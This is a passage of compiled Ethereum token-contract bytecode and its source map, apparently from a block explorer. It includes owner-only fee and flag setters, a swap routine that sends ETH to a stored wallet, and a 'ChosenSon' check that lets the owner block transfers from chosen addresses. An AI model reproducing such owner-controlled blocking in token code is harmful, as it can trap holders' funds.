ffffff16565b90506000600267ffffffffffffffff811115611b7457611b73612e79565b5b604051908082528060200260200182016040528015611ba25781602001602082028036833780820191505090505b5090503081600081518110611bba57611bb9612ea8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611c61573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c859190612eec565b81600181518110611c9957611c98612ea8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611d37959493929190613012565b600060405180830381600087803b158015611d5157600080fd5b505af1158015611d65573d6000803e3d6000fd5b5050505060004790506000611db7600b60020154611da9611d956002600b6001015461146890919063ffffffff16565b600b6004015461233d90919063ffffffff16565b61233d90919063ffffffff16565b90506000611df86002611dea84611ddc600b60010154886122c390919063ffffffff16565b61146890919063ffffffff16565b61146890919063ffffffff16565b90506000611e2683611e18600b60030154876122c390919063ffffffff16565b61146890919063ffffffff16565b90506000611e4f82611e41858861233d90919063ffffffff16565b61233d90919063ffffffff16565b9050600080821115611eef57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051611ea59061309d565b600060405180830381858888f193505050503d8060008114611ee3576040519150601f19603f3d011682016040523d82523d6000602084013e611ee8565b606091505b5050809150505b6000891115611fd2576000841115611fd157601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308c600080601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401611f8a969594939291906130b2565b60606040518083038185885af1158015611fa8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611fcd9190613128565b5050505b5b505050505050505050506000601a60006101000a81548160ff02191690831515021790555050565b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120459190612d79565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120e591906124ca565b60405180910390a3505050565b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213d9190612a29565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600081156122a6576000601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121e9576007600001549050612252565b601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612248576007600101549050612251565b60076002015490505b5b600061227e60076003015461227084886122c390919063ffffffff16565b61146890919063ffffffff16565b905060008111156122a35780836122959190612d79565b92506122a2873083611ffa565b5b50505b6122bc858583866122b79190612a29565b611ffa565b5050505050565b60008083036122d55760009050612337565b600082846122e39190612d1f565b90508284826122f29190612e48565b14612332576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612329906131ed565b60405180910390fd5b809150505b92915050565b600061237f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612387565b905092915050565b60008383111582906123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c69190612575565b60405180910390fd5b50600083856123de9190612a29565b9050809150509392505050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061241b826123f0565b9050919050565b61242b81612410565b811461243657600080fd5b50565b60008135905061244881612422565b92915050565b600060208284031215612464576124636123eb565b5b600061247284828501612439565b91505092915050565b60008115159050919050565b6124908161247b565b82525050565b60006020820190506124ab6000830184612487565b92915050565b6000819050919050565b6124c4816124b1565b82525050565b60006020820190506124df60008301846124bb565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561251f578082015181840152602081019050612504565b60008484015250505050565b6000601f19601f8301169050919050565b6000612547826124e5565b61255181856124f0565b9350612561818560208601612501565b61256a8161252b565b840191505092915050565b6000602082019050818103600083015261258f818461253c565b905092915050565b6125a0816124b1565b81146125ab57600080fd5b50565b6000813590506125bd81612597565b92915050565b600080604083850312156125da576125d96123eb565b5b60006125e885828601612439565b92505060206125f9858286016125ae565b9150509250929050565b60008060006060848603121561261c5761261b6123eb565b5b600061262a86828701612439565b935050602061263b86828701612439565b925050604061264c868287016125ae565b9150509250925092565b600060ff82169050919050565b61266c81612656565b82525050565b60006020820190506126876000830184612663565b92915050565b61269681612410565b82525050565b60006020820190506126b1600083018461268d565b92915050565b600080600080608085870312156126d1576126d06123eb565b5b60006126df878288016125ae565b94505060206126f0878288016125ae565b9350506040612701878288016125ae565b9250506060612712878288016125ae565b91505092959194509250565b6127278161247b565b811461273257600080fd5b50565b6000813590506127448161271e565b92915050565b60008060408385031215612761576127606123eb565b5b600061276f85828601612439565b925050602061278085828601612735565b9150509250929050565b600060808201905061279f60008301876124bb565b6127ac60208301866124bb565b6127b960408301856124bb565b6127c660608301846124bb565b95945050505050565b600060a0820190506127e460008301886124bb565b6127f160208301876124bb565b6127fe60408301866124bb565b61280b60608301856124bb565b61281860808301846124bb565b9695505050505050565b60008060006060848603121561283b5761283a6123eb565b5b600061284986828701612735565b935050602061285a868287016125ae565b925050604061286b868287016125ae565b9150509250925092565b6000806040838503121561288c5761288b6123eb565b5b600061289a85828601612439565b92505060206128ab85828601612439565b9150509250929050565b60006128c0826123f0565b9050919050565b6128d0816128b5565b81146128db57600080fd5b50565b6000813590506128ed816128c7565b92915050565b600060208284031215612909576129086123eb565b5b6000612917848285016128de565b91505092915050565b6000819050919050565b600061294561294061293b846123f0565b612920565b6123f0565b9050919050565b60006129578261292a565b9050919050565b60006129698261294c565b9050919050565b6129798161295e565b82525050565b60006020820190506129946000830184612970565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806129e157607f821691505b6020821081036129f4576129f361299a565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612a34826124b1565b9150612a3f836124b1565b9250828203905081811115612a5757612a566129fa565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612a936020836124f0565b9150612a9e82612a5d565b602082019050919050565b60006020820190508181036000830152612ac281612a86565b9050919050565b7f43686f73656e536f6e0000000000000000000000000000000000000000000000600082015250565b6000612aff6009836124f0565b9150612b0a82612ac9565b602082019050919050565b60006020820190508181036000830152612b2e81612af2565b9050919050565b7f2173746172744164644c50000000000000000000000000000000000000000000600082015250565b6000612b6b600b836124f0565b9150612b7682612b35565b602082019050919050565b60006020820190508181036000830152612b9a81612b5e565b9050919050565b60008160011c9050919050565b6000808291508390505b6001851115612bf857808604811115612bd457612bd36129fa565b5b6001851615612be35780820291505b8081029050612bf185612ba1565b9450612bb8565b94509492505050565b600082612c115760019050612ccd565b81612c1f5760009050612ccd565b8160018114612c355760028114612c3f57612c6e565b6001915050612ccd565b60ff841115612c5157612c506129fa565b5b8360020a915084821115612c6857612c676129fa565b5b50612ccd565b5060208310610133831016604e8410600b8410161715612ca35782820a905083811115612c9e57612c9d6129fa565b5b612ccd565b612cb08484846001612bae565b92509050818404811115612cc757612cc66129fa565b5b81810290505b9392505050565b6000612cdf826124b1565b9150612cea83612656565b9250612d177fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612c01565b905092915050565b6000612d2a826124b1565b9150612d35836124b1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d6e57612d6d6129fa565b5b828202905092915050565b6000612d84826124b1565b9150612d8f836124b1565b9250828201905080821115612da757612da66129fa565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612de3601b836124f0565b9150612dee82612dad565b602082019050919050565b60006020820190508181036000830152612e1281612dd6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e53826124b1565b9150612e5e836124b1565b925082612e6e57612e6d612e19565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050612ee681612422565b92915050565b600060208284031215612f0257612f016123eb565b5b6000612f1084828501612ed7565b91505092915050565b6000819050919050565b6000612f3e612f39612f3484612f19565b612920565b6124b1565b9050919050565b612f4e81612f23565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612f8981612410565b82525050565b6000612f9b8383612f80565b60208301905092915050565b6000602082019050919050565b6000612fbf82612f54565b612fc98185612f5f565b9350612fd483612f70565b8060005b83811015613005578151612fec8882612f8f565b9750612ff783612fa7565b925050600181019050612fd8565b5085935050505092915050565b600060a08201905061302760008301886124bb565b6130346020830187612f45565b81810360408301526130468186612fb4565b9050613055606083018561268d565b61306260808301846124bb565b9695505050505050565b600081905092915050565b50565b600061308760008361306c565b915061309282613077565b600082019050919050565b60006130a88261307a565b9150819050919050565b600060c0820190506130c7600083018961268d565b6130d460208301886124bb565b6130e16040830187612f45565b6130ee6060830186612f45565b6130fb608083018561268d565b61310860a08301846124bb565b979650505050505050565b60008151905061312281612597565b92915050565b600080600060608486031215613141576131406123eb565b5b600061314f86828701613113565b935050602061316086828701613113565b925050604061317186828701613113565b9150509250925092565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006131d76021836124f0565b91506131e28261317b565b604082019050919050565b60006020820190508181036000830152613206816131ca565b905091905056fea2646970667358221220095fee0f72d5956b85d5b1f74aca977a4729ff2a3a3c2d35fa268f00262008c164736f6c63430008100033

Deployed Bytecode Sourcemap

13486:214:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5010:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5342:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6772:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7412:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6940:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7586:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6856:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5183:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5152:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5266:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12464:234;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5305:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12707:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7025:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4271:148;;;;;;;;;;;;;:::i;:::-;;13239:112;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5062:42;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4184:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6684:82;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4877:15;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;:::i;:::-;;;;;;;;4983:18;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;:::i;:::-;;;;;;;;13359:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7134:139;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5377:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12862:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13113:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7279:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4024:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5113:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5010:45;;;;;;;;;;;;;;;;;;;;;;:::o;5342:28::-;;;;:::o;6772:78::-;6820:13;6843:5;6836:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6772:78;:::o;7412:133::-;7487:4;7494:37;7503:10;7515:7;7524:6;7494:8;:37::i;:::-;7539:4;7532:11;;7412:133;;;;:::o;6940:79::-;6993:7;7010;;7003:14;;6940:79;:::o;7586:336::-;7684:4;7701:36;7711:6;7719:9;7730:6;7701:9;:36::i;:::-;4803:1;4794:11;7752;:19;7764:6;7752:19;;;;;;;;;;;;;;;:31;7772:10;7752:31;;;;;;;;;;;;;;;;:38;7748:145;;7875:6;7841:11;:19;7853:6;7841:19;;;;;;;;;;;;;;;:31;7861:10;7841:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;7807:11;:19;7819:6;7807:19;;;;;;;;;;;;;;;:31;7827:10;7807:31;;;;;;;;;;;;;;;:74;;;;7748:145;7910:4;7903:11;;7586:336;;;;;:::o;6856:78::-;6908:5;6923:9;;;;;;;;;;;6916:16;;6856:78;:::o;5183:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;5152:24::-;;;;;;;;;;;;;:::o;5266:30::-;;;;:::o;12464:234::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;12567:10:::1;12579:47;12621:4;12579:37;12608:7;12579:24;12593:9;12579;:13;;:24;;;;:::i;:::-;:28;;:37;;;;:::i;:::-;:41;;:47;;;;:::i;:::-;12567:59;;12645:45;;;;;;;;12651:9;12645:45;;;;12661:9;12645:45;;;;12671:4;12645:45;;;;12676:7;12645:45;;;;12684:5;12645:45;;::::0;12639:5:::1;:51;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12555:143;12464:234:::0;;;;:::o;5305:30::-;;;;;;;;;;;;;:::o;12707:146::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;12811:34:::1;;;;;;;;12815:4;12811:34;;;;12820:5;12811:34;;;;12826:12;12811:34;;;;12839:5;12811:34;;::::0;12806:4:::1;:39;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12707:146:::0;;;;:::o;7025:103::-;7091:7;7108:9;:18;7118:7;7108:18;;;;;;;;;;;;;;;;7101:25;;7025:103;;;:::o;4271:148::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4378:1:::1;4341:40;;4362:6;::::0;::::1;;;;;;;;4341:40;;;;;;;;;;;;4409:1;4392:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;4271:148::o:0;13239:112::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13337:6:::1;13318:10;:16;13329:4;13318:16;;;;;;;;;;;;;;;;:25;;;;;;;;;;;;;;;;;;13239:112:::0;;:::o;5062:42::-;;;;;;;;;;;;;;;;;;;;;;:::o;4184:79::-;4222:7;4249:6;;;;;;;;;;;4242:13;;4184:79;:::o;6684:82::-;6734:13;6757:7;6750:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6684:82;:::o;4877:15::-;;;;;;;;;;;;;;;;;;;;;;;;:::o;4983:18::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;13359:118::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13463:6:::1;13441:13;:19;13455:4;13441:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;13359:118:::0;;:::o;7134:139::-;7212:4;7219:40;7229:10;7241:9;7252:6;7219:9;:40::i;:::-;7267:4;7260:11;;7134:139;;;;:::o;5377:31::-;;;;:::o;12862:243::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13001:8:::1;12987:11;;:22;;;;;;;;;;;;;;;;;;13036:14;13020:13;:30;;;;13080:17;13061:16;:36;;;;12862:243:::0;;;:::o;13113:118::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;13217:6:::1;13195:13;:19;13209:4;13195:19;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;13113:118:::0;;:::o;7279:127::-;7360:7;7377:11;:18;7389:5;7377:18;;;;;;;;;;;;;;;:27;7396:7;7377:27;;;;;;;;;;;;;;;;7370:34;;7279:127;;;;:::o;4024:152::-;3949:10;3939:20;;:6;;;;;;;;;;:20;;;3931:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4117:3:::1;4108:6;::::0;:12:::1;;;;;;;;;;;;;;;;;;4164:3;4136:32;;4157:6;::::0;::::1;;;;;;;;4136:32;;;;;;;;;;;;4024:152:::0;:::o;5113:32::-;;;;;;;;;;;;;:::o;1857:132::-;1915:7;1942:39;1946:1;1949;1942:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1935:46;;1857:132;;;;:::o;7930:177::-;8045:6;8015:11;:18;8027:5;8015:18;;;;;;;;;;;;;;;:27;8034:7;8015:27;;;;;;;;;;;;;;;:36;;;;8083:7;8067:32;;8076:5;8067:32;;;8092:6;8067:32;;;;;;:::i;:::-;;;;;;;;7930:177;;;:::o;8115:1208::-;8238:10;:16;8249:4;8238:16;;;;;;;;;;;;;;;;;;;;;;;;;8237:17;:39;;;;8259:13;:17;8273:2;8259:17;;;;;;;;;;;;;;;;;;;;;;;;;8237:39;8229:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;8301:12;8328:13;:19;8342:4;8328:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;8351:13;:17;8365:2;8351:17;;;;;;;;;;;;;;;;;;;;;;;;;8328:40;8324:718;;;8390:13;:19;8404:4;8390:19;;;;;;;;;;;;;;;;;;;;;;;;;8389:20;:42;;;;;8414:13;:17;8428:2;8414:17;;;;;;;;;;;;;;;;;;;;;;;;;8413:18;8389:42;8385:646;;;8456:13;:17;8470:2;8456:17;;;;;;;;;;;;;;;;;;;;;;;;;8452:531;;;8510:15;;8506:1;:19;8498:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;8569:6;;;;;;;;;;;8564:400;;8604:28;8635:24;8653:4;8635:9;:24::i;:::-;8604:55;;8690:11;;;;;;;;;;;:39;;;;;8728:1;8705:20;:24;8690:39;8686:255;;;8788:16;;8765:20;:39;8762:82;;;8828:16;;8805:39;;8762:82;8875:38;8892:20;8875:16;:38::i;:::-;8686:255;8577:387;8564:400;8452:531;9011:4;9001:14;;8385:646;8324:718;9055:13;:19;9069:4;9055:19;;;;;;;;;;;;;;;;;;;;;;;;;:40;;;;;9078:13;:17;9092:2;9078:17;;;;;;;;;;;;;;;;;;;;;;;;;9055:40;9052:212;;;9128:9;;;;;;;;;;;9124:2;:13;;;;:::i;:::-;9119:4;:18;;;;:::i;:::-;9111:6;:26;:73;;9183:1;9167:15;:17;;;9111:73;;;9154:12;9138:15;:28;;;9111:73;;9199:31;9213:4;9219:2;9223:6;9199:13;:31::i;:::-;9245:7;;;9052:212;9274:41;9289:4;9295:2;9299:6;9307:7;9274:14;:41::i;:::-;8218:1105;8115:1208;;;;:::o;1074:181::-;1132:7;1152:9;1168:1;1164;:5;;;;:::i;:::-;1152:17;;1193:1;1188;:6;;1180:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1246:1;1239:8;;;1074:181;;;;:::o;1995:189::-;2081:7;2113:1;2109;:5;2116:12;2101:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2140:9;2156:1;2152;:5;;;;:::i;:::-;2140:17;;2175:1;2168:8;;;1995:189;;;;;:::o;10684:1551::-;5484:4;5475:6;;:13;;;;;;;;;;;;;;;;;;10762:17:::1;10782:44;10814:5;:11;;;10782:27;10798:5;:10;;;10782:11;:15;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;10762:64;;10837:20;10860:56;10914:1;10860:49;10897:5;:11;;;10860:32;10876:5;:15;;;10860:11;:15;;:32;;;;:::i;:::-;:36;;:49;;;;:::i;:::-;:53;;:56;;;;:::i;:::-;10837:79;;10927:17;10947:50;10984:12;10947:32;10963:15;10947:11;:15;;:32;;;;:::i;:::-;:36;;:50;;;;:::i;:::-;10927:70;;11008:21;11046:1;11032:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11008:40;;11077:4;11059;11064:1;11059:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11103:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11093:4;11098:1;11093:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;11127:6;;;;;;;;;;;:57;;;11199:12;11226:1;11242:4;11269;11289:15;11127:188;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;11328:14;11344:21;11328:37;;11376:16;11395:55;11439:5;:10;;;11395:39;11411:22;11431:1;11411:5;:15;;;:19;;:22;;;;:::i;:::-;11395:5;:11;;;:15;;:39;;;;:::i;:::-;:43;;:55;;;;:::i;:::-;11376:74;;11461:23;11487:54;11539:1;11487:47;11522:11;11487:30;11501:5;:15;;;11487:9;:13;;:30;;;;:::i;:::-;:34;;:47;;;;:::i;:::-;:51;;:54;;;;:::i;:::-;11461:80;;11552:20;11575:44;11607:11;11575:27;11589:5;:12;;;11575:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;11552:67;;11630:15;11648:54;11686:15;11648:33;11662:18;11648:9;:13;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;11630:72;;11713:15;11753:1:::0;11742:10:::1;:12;11739:124;;;11794:16;;;;;;;;;;;11786:30;;11824:10;11841:5;11786:65;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11770:81;;;;;11739:124;11897:1;11879:15;:19;11875:353;;;11940:1;11919:18;:22;11915:302;;;11962:6;;;;;;;;;;;:22;;;11992:18;12038:4;12062:15;12096:1;12116::::0;12136:16:::1;;;;;;;;;;;12171:15;11962:239;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11915:302;11875:353;10751:1484;;;;;;;;;;5520:5:::0;5511:6;;:14;;;;;;;;;;;;;;;;;;10684:1551;:::o;12243:213::-;12396:7;12380:9;:13;12390:2;12380:13;;;;;;;;;;;;;;;;:23;;;;:::i;:::-;12364:9;:13;12374:2;12364:13;;;;;;;;;;;;;;;:39;;;;12436:2;12419:29;;12428:6;12419:29;;;12440:7;12419:29;;;;;;:::i;:::-;;;;;;;;12243:213;;;:::o;9742:933::-;9934:7;9914:9;:17;9924:6;9914:17;;;;;;;;;;;;;;;;:27;;;;:::i;:::-;9894:9;:17;9904:6;9894:17;;;;;;;;;;;;;;;:47;;;;9962:17;9994:7;9990:612;;;10018:15;10052:13;:21;10066:6;10052:21;;;;;;;;;;;;;;;;;;;;;;;;;10048:231;;;10104:4;:8;;;10094:18;;10048:231;;;10137:13;:24;10151:9;10137:24;;;;;;;;;;;;;;;;;;;;;;;;;10134:145;;;10192:4;:9;;;10182:19;;10134:145;;;10250:4;:13;;;10240:23;;10134:145;10048:231;10293:18;10314:35;10339:4;:9;;;10314:20;10326:7;10314;:11;;:20;;;;:::i;:::-;:24;;:35;;;;:::i;:::-;10293:56;;10381:1;10368:10;:14;10364:227;;;10416:10;10403:23;;;;;:::i;:::-;;;10445:130;10481:6;10518:4;10546:10;10445:13;:130::i;:::-;10364:227;10003:599;;9990:612;10614:53;10628:6;10636:9;10657;10647:7;:19;;;;:::i;:::-;10614:13;:53::i;:::-;9883:792;9742:933;;;;:::o;1601:250::-;1659:7;1688:1;1683;:6;1679:47;;1713:1;1706:8;;;;1679:47;1738:9;1754:1;1750;:5;;;;:::i;:::-;1738:17;;1783:1;1778;1774;:5;;;;:::i;:::-;:10;1766:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1842:1;1835:8;;;1601:250;;;;;:::o;1261:136::-;1319:7;1346:43;1350:1;1353;1346:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1339:50;;1261:136;;;;:::o;1403:192::-;1489:7;1522:1;1517;:6;;1525:12;1509:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1549:9;1565:1;1561;:5;;;;:::i;:::-;1549:17;;1586:1;1579:8;;;1403:192;;;;;:::o;88:117:1:-;197:1;194;187:12;334:126;371:7;411:42;404:5;400:54;389:65;;334:126;;;:::o;466:96::-;503:7;532:24;550:5;532:24;:::i;:::-;521:35;;466:96;;;:::o;568:122::-;641:24;659:5;641:24;:::i;:::-;634:5;631:35;621:63;;680:1;677;670:12;621:63;568:122;:::o;696:139::-;742:5;780:6;767:20;758:29;;796:33;823:5;796:33;:::i;:::-;696:139;;;;:::o;841:329::-;900:6;949:2;937:9;928:7;924:23;920:32;917:119;;;955:79;;:::i;:::-;917:119;1075:1;1100:53;1145:7;1136:6;1125:9;1121:22;1100:53;:::i;:::-;1090:63;;1046:117;841:329;;;;:::o;1176:90::-;1210:7;1253:5;1246:13;1239:21;1228:32;;1176:90;;;:::o;1272:109::-;1353:21;1368:5;1353:21;:::i;:::-;1348:3;1341:34;1272:109;;:::o;1387:210::-;1474:4;1512:2;1501:9;1497:18;1489:26;;1525:65;1587:1;1576:9;1572:17;1563:6;1525:65;:::i;:::-;1387:210;;;;:::o;1603:77::-;1640:7;1669:5;1658:16;;1603:77;;;:::o;1686:118::-;1773:24;1791:5;1773:24;:::i;:::-;1768:3;1761:37;1686:118;;:::o;1810:222::-;1903:4;1941:2;1930:9;1926:18;1918:26;;1954:71;2022:1;2011:9;2007:17;1998:6;1954:71;:::i;:::-;1810:222;;;;:::o;2038:99::-;2090:6;2124:5;2118:12;2108:22;;2038:99;;;:::o;2143:169::-;2227:11;2261:6;2256:3;2249:19;2301:4;2296:3;2292:14;2277:29;;2143:169;;;;:::o;2318:246::-;2399:1;2409:113;2423:6;2420:1;2417:13;2409:113;;;2508:1;2503:3;2499:11;2493:18;2489:1;2484:3;2480:11;2473:39;2445:2;2442:1;2438:10;2433:15;;2409:113;;;2556:1;2547:6;2542:3;2538:16;2531:27;2380:184;2318:246;;;:::o;2570:102::-;2611:6;2662:2;2658:7;2653:2;2646:5;2642:14;2638:28;2628:38;;2570:102;;;:::o;2678:377::-;2766:3;2794:39;2827:5;2794:39;:::i;:::-;2849:71;2913:6;2908:3;2849:71;:::i;:::-;2842:78;;2929:65;2987:6;2982:3;2975:4;2968:5;2964:16;2929:65;:::i;:::-;3019:29;3041:6;3019:29;:::i;:::-;3014:3;3010:39;3003:46;;2770:285;2678:377;;;;:::o;3061:313::-;3174:4;3212:2;3201:9;3197:18;3189:26;;3261:9;3255:4;3251:20;3247:1;3236:9;3232:17;3225:47;3289:78;3362:4;3353:6;3289:78;:::i;:::-;3281:86;;3061:313;;;;:::o;3380:122::-;3453:24;3471:5;3453:24;:::i;:::-;3446:5;3443:35;3433:63;;3492:1;3489;3482:12;3433:63;3380:122;:::o;3508:139::-;3554:5;3592:6;3579:20;3570:29;;3608:33;3635:5;3608:33;:::i;:::-;